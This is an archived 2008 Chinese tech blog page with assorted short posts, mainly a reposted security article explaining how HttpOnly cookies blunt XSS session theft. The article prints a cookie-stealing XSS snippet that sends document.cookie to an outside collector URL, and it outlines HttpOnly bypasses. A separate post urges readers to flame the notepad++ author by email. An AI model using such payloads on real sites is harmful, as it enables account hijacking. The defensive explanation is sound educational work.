2008年03月 存档

微软官方XP/Vista + IE6/7/8 VirtualPC 镜像下载

2008年03月31日,星期一

写网站的要测试IE6, 7, 8等不同浏览器的效果,微软就出了个VirtualPC的镜像~~2008-7-3过期~~

IE6_VPC.EXE
435.1 MB

IE7_VPC.EXE
434.3 MB

IE7-VIS1.exe
700.0 MB

IE7-VIS2.rar
700.0 MB

IE7-VIS3.rar
590.5 MB

IE8_VPC.EXE
438.6 MB

[python]解决xmpp.simplexml出现xml.parsers.expat.ExpatError: not well-formed

2008年03月31日,星期一

编码问题一直是非纯Unicode编程语言的痛!

做一个小东西的时候用到了 xmpppy,有一句代码是:
oob = xmpp.simplexml.XML2Node( u'<x xmlns="jabber :x :o ob"><url>http://labs.dormforce.net/services/</url><desc>测试</desc></x>' )

调试的时候老是出现 'ascii' codec can't encode characters in position 65-66: ordinal not in range(12 8)

调试了很久发现xmpp的库源码没有使用utf-8,打开 python_lib_path/xmpp/simplexml.py ,在开头添加一句#coding:utf-8

问题解决。

一般来说,彻底搞定Python的编码有3个地方要检查:1. 控制台编码 2. 文件保存编码 3. 文件编码标志

Say ¥€$ to OOXML

2008年03月31日,星期一

M$ ooxml

微软用钱开路,把OOXML弄成了ISO标准,¥€$!!!

ps HTML里的转义字符 &yen; &#165;表示的 Janpanese yen, U+00A5 ISOnum,那么¥和¥有啥子区别呢?

Knights of the Force!

2008年03月31日,星期一

一个土耳其星战迷,一个人用了n年,基于Jedia Academy的引擎重建了Star Wars 六部曲里所有战争场景和任务造型,并且做成了mod(1.2GB),超赞啊~~

Google轶事~

2008年03月30日,星期日
  • 曾经有一个机房按面积收费,结果对方不知道谷歌机器“在同样面积可以堆很多”。做一年之后,该机房破产了。主要原因是,谷歌的机器堆了很多,用了很多电,他从谷歌收的钱根本不够交电费
  • 谷歌做成了一套世界上从来没有人做过的基于低成本的PC体系。
  • 谷歌每年新增的服务器数量能赶上全球前四大服务器制造商的产量。
  • 谷歌全球负责中英文翻译的团队一共只有3个人,而且没有一个懂中文。但谷歌翻译服务目前全球领先,让人难以置信。这其中“四两拨千斤”的秘诀是,谷歌拥有比别人多的数据。
  • 很早以谷歌机器跟eBay机房放一起,谷歌机器发很多热,就拿电风扇吹,最 后把eBay机器搞坏了。

来源:http://www.cnbeta.com/articles/52347.htm

[转贴]Javascript, Lisp, 量子力学

2008年03月30日,星期日

Javascript是最被误解的语言,也是最神奇的语言,无忧脚本论坛里有高人用百余行Javascript实现了一个Lisp解释器,这也不算是最神奇的,最令人震撼的是有人用量子力学解释了 boolean, string 和 number 之间的关系

  众所周知,上个世纪初物理家var博士的伟大实验已经证实了我们的世界由三种基本粒子构成,它们分别是number、boolean和string。而早在本世纪初,prototype博士发现,number和boolean,是带电的基本粒子,boolean粒子有带电和不带电两种情况,我们把带一个单位正电荷的boolean粒子称为true子,把不带电的boolean粒子称为false子。而number粒子除了带电之外,还可以有不同的电量和电性,一种不带电的特殊number粒子被称为0子,除了0子之外其他number粒子均带有不同电量和正、负两种电性之一。科学家已经通过实践证明,通过特殊的加法转换器,可以将两个电性向反电量相等的number粒子转化为0子,通过特殊的减法转换器,可以将两个电性相同电量相等的number粒子转化为0子。
  我们要讨论的是另外一种基本粒子——string子,它不具有电性和电量,但是却拥有另一种神奇的性质。
  我们已经知道,我们世界的物质有两种能量形态,第一种形态的能量穿过势垒的时候改变它的性质,不对原始物质的结构产生影响,我们将这种特性称为“粒子性”。第二种形态的能量穿过势垒的时候改变它的性质,可以对原始物质的结构产生影响,我们将这种特性成为“波动性”。在近十年的研究中,我们已经发现,number、boolean和string等微观粒子表现为“粒子性”,而许多宏观的array和object则更多地表现为“波动性”。
然而今天,我们要请伟大的winter博士给我们介绍他最新的发现,这一发现,对于底层物理学来说具有划时代的意义,因为他第一次发现了作为基本粒子的string子,在具有粒子性的同时也具有波动性,也即是说,基本粒子string具有波粒二象性。

13.jpg
传说中“波粒二相性”的图片

最后再推荐一篇透彻讲解Javascript的好文章:《悟透JavaScript

电子科大这鸟教务处~~

2008年03月29日,星期六

万众期待的重修通知出来鸟~~电子科大教务处的各位神仙GGJJ们果然不负众望把两门课程开班上课排到同一时间段了~~~可是收费还是¥100/学分,日他仙人板板的哦!

还好退了2门其他课的重修费~~~555~~~

教育网里比较稳定的DNS

2008年03月29日,星期六

学校的DNS经常挂掉,电信的DNS经常流氓劫持HTTP,OpenDNS会把CDN的网站解析到地球那一边导致速度十分缓慢,所以要在国内找一个好用的DNS很难啊

今天无意找到了2个教育网比较好用的DNS: CS.NIC.EDU.CN

202.38.184.13
202.38.184.26

[转贴][XSS]利用httponly提升应用程序安全性

2008年03月26日,星期三

ph4nt0m社区出webzine了,顶啊!

转一篇好文章,利用httponly提升应用程序安全性

 ==Ph4nt0m Security Team==

Issue 0x01, Phile #0x06 of 0x06

|=---------------------------------------------------------------------------=|
|=-------------=[ 利用httponly提升应用程序安全性 ]=--------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=--------------------=[ By 剑心 ]=--------------------=|
|=--------------------=[ <root_at_ph4nt0m_dot_org> ]=--------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|

随着www服务的兴起,越来越多的应用程序转向了B/S结构,这样只需要一个浏览器就可
以访问各种各样的web服务,但是这样也越来越导致了越来越多的web安全问题。www服务依
赖于Htpp协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地
用到Cookie或者Session等技术来标记访问者的状态,而无论是Cookie还是Session,一般都
是利用Cookie来实现的(Session其实是在浏览器的Cookie里带了一个Token来标记,服务器
取得了这个Token并且检查合法性之后就把服务器上存储的对应的状态和浏览器绑定),这样
就不可避免地安全聚焦到了Cookie上面,只要获得这个Cookie,就可以取得别人的身份,这对
于入侵者是一件很美妙的事情,特别当获得的Cookie属于管理员等高权限身份者时,危害就
更大了。在各种web安全问题里,其中xss漏洞就因此显得格外危险。

对于应用程序来说,一旦存在了xss漏洞就意味着别人可以在你的浏览器中执行任意的
js脚本,如果应用程序是开源的或者功能是公开的话,别人就可以利用ajax使用这些功能,但
是过程往往很烦琐,特别是想直接获得别人身份做随意浏览的话困难就更大。而对于不开源
的应用程序,譬如某些大型站点的web后台(web2.0一个显著的特征就是大量的交互,用户往
往需要跟后台的管理员交互,譬如Bug汇报,或者信息投递等等),尽管因为交互的存在可能存
在跨站脚本漏洞,但是因为对后台的不了解,无法构造完美的ajax代码来利用,即使可以用js
取得后台的代码并回传分析,但是过程同样烦琐而且不隐蔽。这个时候,利用xss漏洞获得
Cookie或者Session劫持就很有效了,具体分析应用程序的认证,然后使用某些技巧,甚至可
以即使对方退出程序也一样永久性获得对方的身份。

那么如何获得Cookie或者Session劫持呢?在浏览器中的document对象中,就储存了
Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有
别人的身份了。一个很典型的xss攻击语句如下:

xss exp:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src="http://www.loveshell.net/c.php?c="+cookie+"&u="+url;

一些应用程序考虑到这个问题所在,所以可能会采取浏览器绑定技术,譬如将Cookie和浏览
器的User-agent绑定,一旦发现修改就认为Cookie失效。这种方法已经证明是无效的,因为
当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的
是将Cookie和Remote-addr相绑定(其实就是和IP绑定,但是一些程序取得IP的方法有问题一
样导致饶过),但是这样就带来很差的用户体验,更换Ip是经常的事,譬如上班与家里就是2个
IP,所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行,在一些
web 2.0站点很容易就取到应用程序的管理员身份。

如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对
象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。很幸运,现在浏览
器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一
旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览
的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程
序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对
于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安
全也保证了应用。关于HttpOnly说明可以参照
http://msdn2.microsoft.com/en-us/library/ms533046.aspx。

给浏览器设置Cookie的头如下:

Set-Cookie: <name>=<value>[; <name>=<value>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]

以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,譬如

<?php

setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

?>

就可以设置abc这个cookie,将其设置为HttpOnly,document将不可见这个Cookie。因为
setcookie函数本质就是个header,所以一样可以使用header来设置HttpOnly。然后再使用
document.cookie就可以看到已经取不到这个Cookie了。我们用这种方法来保护利例如
Sessionid,如一些用于认证的auth-cookie,就不用担心身份被人获得了,这对于一些后台程
序和webmail提升安全性的意义是重大的。再次使用上面的攻击手法时可以看到,已经不能
获取被我们设置为HttpOnly的敏感Cookie了。

但是,也可以看到HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵东篱把酒黄昏后
一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交,甚至一些基于xss的proxy也出现
了,但是已经可以提高攻击的门槛了,起码xss攻击不是每个脚本小子都能完成的了,而且其
他的那些攻击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。

HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送
的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回
显出来,利用ajax或者flash就可以完成这种攻击,这种手法也已经在ajax和flash中获得修
补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,大家知道
phpinfo会将浏览器发送的http头回显出来,其中就包括我们保护的auth信息,而这个页面经
常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就可以获得
Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于basic验
证保护的页面一样可以攻击。

HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应
用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。

-EOF-

杯葛notepad++!

2008年03月25日,星期二

notepad++ 是一个开源的文本编辑工具 http://notepad-plus.sourceforge.net/,功能就不用说了,今天看到一件令人气氛的事情,估计最近作者脑袋被门夹了,在sf首页写着B‌o‌y‌c‌o‌t‌t‌ ‌B‌eijing ‌2‌0‌0‌8‌,大家转用PSPadnotepad2EmEditor等软件吧

作者的邮箱是don.h@free.fr,大家看着办吧,当然也可以到notepad++的论坛里留一句言:notepad++ sucks!

vim 声明帮助乌干达难民
而 notepad++ 在声明抵东篱把酒黄昏后制一个体育赛事

12.jpg